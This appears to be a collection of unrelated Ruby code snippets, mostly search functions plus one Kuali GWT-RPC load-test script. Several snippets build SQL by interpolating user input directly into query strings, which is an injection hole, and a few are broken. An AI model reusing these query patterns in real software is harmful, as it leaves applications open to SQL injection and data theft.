"def searchEvent\n input = @searchText.value\n\n begin\n output = \"\"\n db = SQLite3::Database.open \"drugs.db\"\n\n # Fuzzy matches the user input against the db entries\n matches = db.execute \"SELECT Name,EqClass FROM Drugs WHERE Name LIKE '#{input}%';\"\n output = \"No Results\" if matches.empty?\n\n # For each match found in the db, looks up which Carriers cover it\n matches.each do |match|\n output += \"#{match[0].upcase}\"\n\n if not match[1].nil?\n equivalents = db.execute \"SELECT Name FROM Drugs WHERE EqClass = #{match[1]}\"\n output += \"(\"\n equivalents.each do |eqDrug|\n output += eqDrug[0]+\", \" if not eqDrug[0].include? match[0]\n end\n output.chop!.chop!\n output.chop! if output[-1] == \"(\"\n output += \")\" if output[-1] != \"(\"\n end\n output += \":\\n\"\n\n coverage = db.execute \"SELECT Carriers.Name, CoverageTier\n FROM Carriers, Drugs, Covers\n WHERE Carriers.Id = Covers.CarrierId\n AND Drugs.Id = Covers.DrugId\n AND Drugs.Name = '#{match[0]}';\"\n\n coverage.each do |carrier|\n output += \"#{carrier[0]} (tier #{carrier[1]})\\n\"\n end\n output += \"_________________________________________\\n\\n\"\n end unless matches.empty?\n\n rescue SQLite3::Exception => e\n puts \"Exception occured\"\n puts e\n ensure\n db.close if db\n @allResults = output\n setResultsText(0)\n end unless input.empty?\n\n\n return true\n end",
"def search(category, query_term)\n result = @conn.exec(\"SELECT * FROM students WHERE #{category} = '#{query_term}';\")\n result.each do |student|\n student.each do |k, v|\n puts \"#{k}: #{v}\"\n end\n end\nend",
"def index_searcher\n technique = Skills::Technique.includes(sub_category: [:category]).find(self.technique_id)\n category_name = technique.sub_category.category.name\n\n searcher = Pbls::Searcher.find_or_initialize_by(project_id: self.project_id)\n searcher.technique = category_name\n\n searcher.save!\n end",
"def search_for(term)\n results = Friendship.find_by_sql(query(term))\n\n results.map do |result|\n members = Member.where(id: result.path).order(\"array_position(array[#{result.path.join(',')}]::bigint[], members.id)\")\n members.map(&:full_name).join('->')\n end\n end",
"def find_group_and_members(name)\n results = find_group(name)\n filtered_results(results)\n end",
"def recipe_name_search\n key_word = User.prompt.ask(\"Please piece of recipe name\")\n key_word == nil ? (key_word = 'bdncjkascndxasklxnasmndxb') : (key_word)\n recipe_query = Recipe.all.filter{|recipe| recipe.name.include?(key_word.capitalize())}\n\n if recipe_query != []\n recipe_viewer(recipe_query)\n else\n puts 'Invalid Search!'.colorize(:red);\n end\n end",
"def resume_search\n if params[:resume_search].present?\n @resumes = get_all_resumes \n cand_name = params[:resume_search]\n cand_details = @resumes.where( :name => cand_name )\n if cand_details.present?\n render \"index\"\n else\n flash[:danger] = \"Name \\'#{cand_name}\\' could not found in our database.\"\n redirect_to :action => \"index\" \n end\n end\n end",
"def index\n if params[:query].present?\n sql_query = \"name ILIKE :query OR syllabus ILIKE :query\"\n @schools = School.where(sql_query, query: \"%#{params[:query]}%\")\n else\n @schools = School.all\n end\n end",
"def new\n @school_names = get_school_names\n @college_names = College.find(:all).map do |college|\n college.name\n end.uniq.sort\n end",
"def ReturnMultipleUserDetails(database,emp_username, course_name)\n SearchDatabaseForASpecificData(database, Find_MultipleUserDetails(emp_username, course_name))\nend",
"def find(type, course_code, course_name, opts={})\n \n defaults = {\n :nav_homepage => true,\n :find_person => '%%_username%%', #user is the dynvar from users.csv\n :course_description => '',\n :course_number => '',\n :course_name_dyn_var => 'course_name_dyn_var',\n :course_name_var_regexp => '\\\"\\([^\\\"]+\\)\\\"\\,\\\"[^\\\"]+\\\"\\,\\\"' + course_name + '\\\"'\n#NOTE: The previous regexp returns the text of the word that is 2 words behind the coures name in the comma delimitted http response. NOTE: The quotation marks surrounding the text are stripped. \n# This word is then included in 2 HTTP Requests that are sent later.\n }\n\n opts = defaults.merge(opts)\n \n # Navigate to Curriculum Mgmt\n self.homepage() unless(!opts[:nav_homepage])\n \n @request.add_thinktime(3)\n\n # Enter Course Code BSCI and click Search\n # Search Criteria\n if(type == \"proposal\")\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|13|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|648421FAE6C751B6B3D6A2EC5262F586|org.kuali.student.common.ui.client.service.SearchRpcService|search|org.kuali.student.core.search.dto.SearchRequest|org.kuali.student.core.search.dto.SearchRequest/3917446114|java.lang.Boolean/476441737|java.util.ArrayList/3821976829|org.kuali.student.core.search.dto.SearchParam/3876231949|proposal.queryParam.proposalOptionalName|#{course_code}|proposal.search.generic|proposal.resultColumn.proposalOptionalName|1|2|3|4|1|5|6|0|7|0|8|1|9|10|0|11|12|13|0|0|\"\n }\n )\n elsif(type == \"course\")\n # Only searching by title/name\n if(course_code.empty?)\n contents = \"5|0|18|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|search|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.lang.Integer/3438268394|java.lang.Boolean/476441737|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|lu.queryParam.luOptionalType|kuali.lu.type.CreditCourse|lu.queryParam.luOptionalState|java.lang.String/2004016611|Approved|Active|Retired|lu.search.mostCurrent.union|lu.resultColumn.luOptionalCode|1|2|3|4|1|5|5|6|10|7|0|8|2|9|10|0|11|9|12|8|3|13|14|13|15|13|16|0|17|18|0|6|0|\"\n else\n contents = \"5|0|20|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|search|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.lang.Integer/3438268394|java.lang.Boolean/476441737|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|lu.queryParam.luOptionalCode|#{course_code}|lu.queryParam.luOptionalType|kuali.lu.type.CreditCourse|lu.queryParam.luOptionalState|java.lang.String/2004016611|Approved|Active|Retired|lu.search.mostCurrent.union|lu.resultColumn.luOptionalCode|1|2|3|4|1|5|5|6|10|7|0|8|3|9|10|0|11|9|12|0|13|9|14|8|3|15|16|15|17|15|18|0|19|20|0|6|0|\"\n end\n \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => contents\n },\n {\n :dyn_variables => [\n {\"name\" => opts[:course_name_dyn_var], \"re\" => opts[:course_name_var_regexp]}\n ]\n }\n )\n\n @request.add_thinktime(3)\n \n # Click on Name=Insects - Code=BSCI 120 and click Select\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CourseRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|7|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|3C9BBAD14113E13A72476EEE8100687B|org.kuali.student.lum.lu.ui.course.client.service.CourseRpcService|getMetadata|java.lang.String/2004016611|java.util.Map||1|2|3|4|2|5|6|7|0|\"\n }\n )\n \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/statementRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|335FF062A700107AB2A642B325C6C5C5|org.kuali.student.lum.program.client.rpc.StatementRpcService|getStatementTypesForStatementTypeForCourse|java.lang.String/2004016611|kuali.statement.type.course|1|2|3|4|1|5|6|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|11|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|enumeration.queryParam.enumerationType|kuali.lu.campusLocation|enumeration.management.search|enumeration.resultColumn.sortKey|1|2|3|4|1|5|5|0|0|6|1|7|8|0|9|10|11|0|0|\"\n }\n )\n\n # DUPE \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|11|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|enumeration.queryParam.enumerationType|kuali.lu.campusLocation|enumeration.management.search|enumeration.resultColumn.sortKey|1|2|3|4|1|5|5|0|0|6|1|7|8|0|9|10|11|0|0|\"\n }\n )\n \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|8|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|atp.search.atpSeasonTypes|atp.resultColumn.atpSeasonTypeName|1|2|3|4|1|5|5|0|0|6|0|7|8|0|0|\"\n }\n )\n\n # DUPE \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|8|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|atp.search.atpSeasonTypes|atp.resultColumn.atpSeasonTypeName|1|2|3|4|1|5|5|0|0|6|0|7|8|0|0|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|18|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|lrc.queryParam.resultComponent.type|kuali.resultComponentType.grade.finalGrade|lrc.queryParam.resultComponent.idRestrictionList|java.lang.String/2004016611|kuali.resultComponent.grade.letter|kuali.resultComponent.grade.passFail|kuali.resultComponent.grade.satisfactory|kuali.resultComponent.grade.completedNotation|kuali.resultComponent.grade.percentage|lrc.search.resultComponent|lrc.resultColumn.resultComponent.id|1|2|3|4|1|5|5|0|0|6|2|7|8|0|9|7|10|6|5|11|12|11|13|11|14|11|15|11|16|0|17|18|0|0|\"\n }\n )\n \n # DUPE \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|18|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|lrc.queryParam.resultComponent.type|kuali.resultComponentType.grade.finalGrade|lrc.queryParam.resultComponent.idRestrictionList|java.lang.String/2004016611|kuali.resultComponent.grade.letter|kuali.resultComponent.grade.passFail|kuali.resultComponent.grade.satisfactory|kuali.resultComponent.grade.completedNotation|kuali.resultComponent.grade.percentage|lrc.search.resultComponent|lrc.resultColumn.resultComponent.id|1|2|3|4|1|5|5|0|0|6|2|7|8|0|9|7|10|6|5|11|12|11|13|11|14|11|15|11|16|0|17|18|0|0|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|11|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|enumeration.queryParam.enumerationType|kuali.lu.campusLocation|enumeration.management.search|enumeration.resultColumn.sortKey|1|2|3|4|1|5|5|0|0|6|1|7|8|0|9|10|11|0|0|\"\n }\n )\n \n # DUPE \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|11|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|enumeration.queryParam.enumerationType|kuali.lu.campusLocation|enumeration.management.search|enumeration.resultColumn.sortKey|1|2|3|4|1|5|5|0|0|6|1|7|8|0|9|10|11|0|0|\"\n }\n )\n \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|8|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|atp.search.atpSeasonTypes|atp.resultColumn.atpSeasonTypeName|1|2|3|4|1|5|5|0|0|6|0|7|8|0|0|\"\n }\n )\n \n # DUPE \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|8|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|atp.search.atpSeasonTypes|atp.resultColumn.atpSeasonTypeName|1|2|3|4|1|5|5|0|0|6|0|7|8|0|0|\"\n }\n )\n \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|18|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|lrc.queryParam.resultComponent.type|kuali.resultComponentType.grade.finalGrade|lrc.queryParam.resultComponent.idRestrictionList|java.lang.String/2004016611|kuali.resultComponent.grade.letter|kuali.resultComponent.grade.passFail|kuali.resultComponent.grade.satisfactory|kuali.resultComponent.grade.completedNotation|kuali.resultComponent.grade.percentage|lrc.search.resultComponent|lrc.resultColumn.resultComponent.id|1|2|3|4|1|5|5|0|0|6|2|7|8|0|9|7|10|6|5|11|12|11|13|11|14|11|15|11|16|0|17|18|0|0|\"\n }\n )\n\n # DUPE \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|18|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|lrc.queryParam.resultComponent.type|kuali.resultComponentType.grade.finalGrade|lrc.queryParam.resultComponent.idRestrictionList|java.lang.String/2004016611|kuali.resultComponent.grade.letter|kuali.resultComponent.grade.passFail|kuali.resultComponent.grade.satisfactory|kuali.resultComponent.grade.completedNotation|kuali.resultComponent.grade.percentage|lrc.search.resultComponent|lrc.resultColumn.resultComponent.id|1|2|3|4|1|5|5|0|0|6|2|7|8|0|9|7|10|6|5|11|12|11|13|11|14|11|15|11|16|0|17|18|0|0|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CourseRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|3C9BBAD14113E13A72476EEE8100687B|org.kuali.student.lum.lu.ui.course.client.service.CourseRpcService|getData|java.lang.String/2004016611|%%_#{opts[:course_name_dyn_var]}%%|1|2|3|4|1|5|6|\"\n },{'subst' => 'true'}\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CourseRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|7|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|3C9BBAD14113E13A72476EEE8100687B|org.kuali.student.lum.lu.ui.course.client.service.CourseRpcService|isLatestVersion|java.lang.String/2004016611|java.lang.Long/4227064769|a359cb8b-508d-41e2-a32b-64a50456e8be|1|2|3|4|2|5|6|7|6|1|0|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/statementRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|335FF062A700107AB2A642B325C6C5C5|org.kuali.student.lum.program.client.rpc.StatementRpcService|getStatementTypesForStatementTypeForCourse|java.lang.String/2004016611|kuali.statement.type.course|1|2|3|4|1|5|6|\"\n }\n )\n \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SecurityRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|7|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|13BFCB3640903B473D12816447D1469D|org.kuali.student.common.ui.client.service.SecurityRpcService|checkAdminPermission|java.lang.String/2004016611|#{opts[:find_person]}|cluModifyItem|1|2|3|4|2|5|5|6|7|\"\n }, {'subst' => 'true'}\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CourseRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|8|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|3C9BBAD14113E13A72476EEE8100687B|org.kuali.student.lum.lu.ui.course.client.service.CourseRpcService|getCourseStatements|java.lang.String/2004016611|%%_#{opts[:course_name_dyn_var]}%%|KUALI.RULE|en|1|2|3|4|3|5|5|5|6|7|8|\"\n },{'subst' => 'true'}\n )\n\n @request.add_thinktime(3)\n \n #Click Detailed View tab -- NOTE: no HTTP Request is sent\n\n @request.add_thinktime(15)\n\n end\n \n end",
"def name_filter(results, search)\n words = search.split(' ')\n for i in 0...words.size\n results = results.where(\"UPPER(name) LIKE ?\", \"%#{words[i]}%\")\n end\n return results\n end",
"def index\n @courses = Course.with_category\n \n if params[:search] && params[:search] != ''\n @courses = @courses.where(['(code = ? OR name ILIKE ?)', params[:search], \"%#{params[:search]}%\"])\n end\n \n if params[:course_category_id] && params[:course_category_id] != ''\n @courses = @courses.where(:course_category_id => params[:course_category_id])\n end\n \n @courses = @courses.paginate :page => params[:page]\n \n respond_with @courses\n end",
"def create_match(nominee)\n names = []\n pname = nominee[:name]\n names << pname\n names << pname.sub(%r{ [A-Z]\\. }, ' ') # drop initial\n personname = ASF::Person.find(nominee[:id]).public_name\n names << personname if personname\n list = names.uniq.map{|name| Regexp.escape(name)}.join('|')\n # N.B. \\b does not match if it follows ')', so won't match John (Fred)\n # TODO: Work-round is to also look for EOS, but this needs to be improved\n %r{\\b(#{list})(\\b|$)}i\nend",
"def research_courses\n Course.find :all, :conditions => { :ts_year => year, :ts_quarter => quarter_code, :ts_research => true }\n end",
"def find_by_name\n query = '%'+params[:query]+'%'\n\n parents_found = Parent.where(\"f_name LIKE ? OR l_name LIKE ? OR CONCAT(f_name,' ',l_name) LIKE ?\", query, query, query)\n render json: parents_found\n end",
"def add_by_search(name)\n name.split(\"\", 2).each do |letter|\n self.text_field(:id=>/addpeople/, :class=>\"as-input\").focus\n self.text_field(:id=>/addpeople/, :class=>\"as-input\").send_keys(letter)\n #@browser.text_field(:id=>/addpeople/, :class=>\"as-input\").focus\n self.wait_until { self.div(:id=>/^as-results-/).visible? }\n #next if self.li(:id=>\"as-result-item-0\").text==\"No results found\"\n #begin\n # @browser.wait_until(0.4) { @browser.ul(:class=>\"as-list\").visible? }\n #rescue\n # @browser.execute_script(\"$('.as-results').css({display: 'block'});\")\n #end\n if self.li(:text=>/#{Regexp.escape(name)}/, :id=>/as-result-item-\\d+/).present?\n @browser.li(:text=>/#{Regexp.escape(name)}/, :id=>/as-result-item-\\d+/).click\n break\n end\n end\n end",
"def find_by_name(name)\n results = []\n search = name.downcase #vamios a igual todo en minusculas\n contacts.each do |contact|\n if contact.full_name.downcase.include?(search)#para los string, tenemos el metodo include, que lo comprar y busca en otro string\n results.push(contact)\n end\n end\n=begin\n #Imprimimos el resultado en pantalla\n puts \"Resultado de la busqueda (#{search})\"\n #Iteramos sobre el resultado\n results.each do |contact|\n puts contact.to_s('full_name')\n contact.print_phone_numbers\n contact.print_addresses\n puts \"\\n\"\n=end\nprint_results(\"Búsqueda de contacto: (#{search})\", results)\n\n \n end",
"def build_search(records, search)\n records = records.where(name: search.name) if search.name.present?\n records = records.where(profession: search.profession) if search.profession.present?\n records = records.where(grade: search.grade) if search.grade.present?\n\n records\n end",
"def test_faceted_search_basic\n records = Electronic.find_with_facet \"memory\", :facets => {:fields =>[:category]}\n assert_equal 4, records[:docs].size\n assert_match /Apple 60 GB Memory iPod/, records[:docs].first.name\n assert_equal({\"category_facet\" => {\"Electronics\" => 1, \n \"Memory\" => 2, \n \"Hard Drive\" => 1}}, \n records[:facets]['facet_fields'])\n end",
"def names_of_people_who_took_french(results_set)\nend",
"def course_students\n return student_terms.find_all_by_term_type(\"Course\")\n end",
"def index\n @faculties = Faculty.all\n @faculty = @faculties.find(params[:faculty_id])\n @courseofstudies = Courseofstudy.where(faculty_id: params[:faculty_id])\n @assoziations = Assoziation.where(courseofstudy_id: get_courseofstudy_ids(@courseofstudies))\n end",
"def search \n\t@courseCandidateArray = []\n\t# find all sections of the course given. Group sections which are split into few (if they have more than one instructor or more than 1 class time given, like lab and lecture different) together\n\t@arrayOfCourses = Course.where(\"course_number = '\" + params[:searchCourse] + \"'\").group(:section_number)\n\t@arrayOfCourses.each{|currentCourse|\n\t\t# create multisection variable, which will account for sections split as above\n\t\t@multiSection = Course.where(\"course_number = '\" + currentCourse[:course_number].to_s + \"' AND section_number = '\" + currentCourse[:section_number].to_s + \"'\")\n\t\t# find all students who applied for the course, then filter only those who fit section times\n\t\t@applicantsFit = Application.where(\"course_number LIKE '%\" + currentCourse[:course_number].to_s + \"%'\")\n\t\t@applicantsFit = @applicantsFit.reject{|applicant|\n\t\t\t@ans = false\n\t\t\t@multiSection.each { |current|\n\t\t\t\t@ans = @ans || scheduleConflict(current, applicant)\n \t\t\t}\n \t\t\t@ans\n\t\t}\n\t# remove current TA from the list (if any) because he is handled separately\n\t@courseToUpd = TeachingAssistant.where(\"course_number LIKE \" + currentCourse[:course_number].to_s + \" AND section_number LIKE \" + currentCourse[:section_number].to_s)\n\tif (@courseToUpd.length > 0)\n\t\t@applicantsFit = @applicantsFit.reject{|applicant| applicant[:user_id] == @courseToUpd[0][:user_id] }\n\n\tend\n\t# sort, so that students with recommendations come first\n\t@applicantsFit = @applicantsFit.sort_by{|a| \n\t\t@b = User.where(\"id = '\" + a[:user_id].to_s + \"'\")\n\t\thasRecommendation(currentCourse[:course_number], @b[0][:fname], @b[0][:lname]) ? 0:1}\n\t@courseCandidateArray.append([@applicantsFit, currentCourse])}\nend",
"def authored_names # :nologin: :norobots:\n query = create_query(:Name, :with_descriptions)\n show_selected_names(query)\n end",
"def index\n if params[:search].present?\n @query = Course.search params[:search].gsub(/[^0-9a-z\\s]/i, '').split\n else\n filter_model Course\n filter :section_id do |q|\n q.joins(:sections).where :\"sections.id\" => any(:section_id)\n end\n filter :department_code do |q|\n q.joins(:department).where :\"departments.code\" => any(:department_code)\n end\n filter_any :id, :department_id, :name, :number, :min_credits, :max_credits\n query.includes! :sections if @show_sections\n end\n end",
"def faculty?\n\t\tmember_of.downcase.include? \"faculty\"\n\tend",
"def search(term)\n contacts = Contact.all\n person_data = nil\n contacts.each_with_index do |contact,index|\n if (contact.name.include? term) || (contact.email.include? term)\n person_data = []\n person_data[0] = index\n person_data[1] = contact \n end\n end\n person_data\n end",
"def matches(name, latitude, longitude, category = nil)\n category_id = category.id if category\n \n # Want to append the distance and similarity rankings.\n matched_places = Hash[*(many.matches(name, latitude, longitude, category_id).map {|r| [r['id'], r]}).flatten]\n find_from_search(*matched_places.keys).map do |place|\n if place\n if matched_places[place.id]\n place.distance_in_meters = matched_places[place.id]['distance_in_meters'] \n place.name_similarity = matched_places[place.id]['name_similarity'] \n end\n place\n end\n end\n end",
"def index\n# @resumes = Resume.all\n# names=@resumes.map(&:name).join(\",\")\n @resumes=Resume.search(params)\n @facets= @resumes.facets\n end",
"def find_by_name(name)\n #iterate over each contact in the contact list and if the name matches the arguemnt to this method we will return that contact\n #start w/empty array of search results which = the contacts in our contact list\n results = []\n #make em all lowercase\n search = name.downcase\n #iterate thru contact if they match append them to the results []\n #add that loop yo\n contacts.each do |contact|\n #then if the first name (downcase that shite) matches our search...\n if contact.full_name.downcase.include?(search)\n #append our results\n results.push(contact)\n end\n end\n #now print out the results NOT resluts bitches\n print_results(\"Name search results (#{search})\", results)\n #now iterate over the result\n# results.each do |contact|\n# puts contact.to_s('full_name')\n# contact.print_phone_numbers\n# contact.print_addresses\n# puts \"\\n\"\n# end\n end",
"def search(term)\n # TODO: Select the Contact instances from the 'contacts.csv' file whose name or email attributes contain the search term.\n @@conn.exec_params('SELECT name FROM contacts WHERE name LIKE $1', [\"%#{term}%\"])\n end",
"def index\n @faculties = Faculty.all\n end",
"def index\n @faculties = Faculty.all\n end",
"def autocomplete_on\n\t\tconditions = if params[:name]\n [\"name LIKE :name\", { :name => \"%#{params['name']}%\"} ]\n else\n {}\n end\n\t\t @objects = params[:model_name].classify.constantize.find(:all, :conditions => conditions)\n\t\t render :text => '<ul>'+ @objects.map{ |e| '<li>' + e.name + '</li>' }.join(' ')+'</ul>'\n\tend",
"def index\n @courses = Course.all\n puts @courses[0].isLike(current_person.id)\n \n if params[:title]\n @courses = @courses.where(\"lower(title) like ?\", \"%#{params[:title]}%\")\n end\n end",
"def search\n @areas = Area.all(\n :select => \"id, name\", \n :conditions => [\"name ILIKE ?\", params[:q]+'%'], # Postgres case insensitive matching\n :order => \"name\", \n :limit => params[:limit])\n render :text => @areas.map { |area| area.name + \"|#{area.id}\" }.join(\"\\n\")\n end",
"def index\n # @users = User.all.order(:grade).order(:class_room).order(:kana => \"desc\")\n\n if session[:search_grade].present?\n @users = User.where(\"grade like '%\" + session[:search_grade] + \"%'\").order(:grade).order(:class_room).order(:kana => \"asc\")\n else\n @users = User.all.order(:grade).order(:class_room).order(:kana => \"asc\")\n end\n\n if session[:search_class_room].present?\n @users = User.where(\"class_room like '%\" + session[:search_class_room] + \"%'\").order(:grade).order(:class_room).order(:kana => \"asc\")\n else\n @users = User.all.order(:grade).order(:class_room).order(:kana => \"asc\")\n end\n\n\n if session[:search_name].present?\n @users = User.where(\"name like '%\" + session[:search_name] + \"%'\").order(:grade).order(:class_room).order(:kana => \"asc\")\n else\n @users = User.all.order(:grade).order(:class_room).order(:kana => \"asc\")\n end\n \n\n end",
"def search(category, query_term)\nresult = @conn.exec(\"SELECT * FROM students WHERE #{category} = '#{query_term}';\");\n puts student\n result.each do |student|\n puts \"#{k}: #{v}\"\n end\nend",
"def search_result\n freelancers = find_all FREELANCERS\n end",
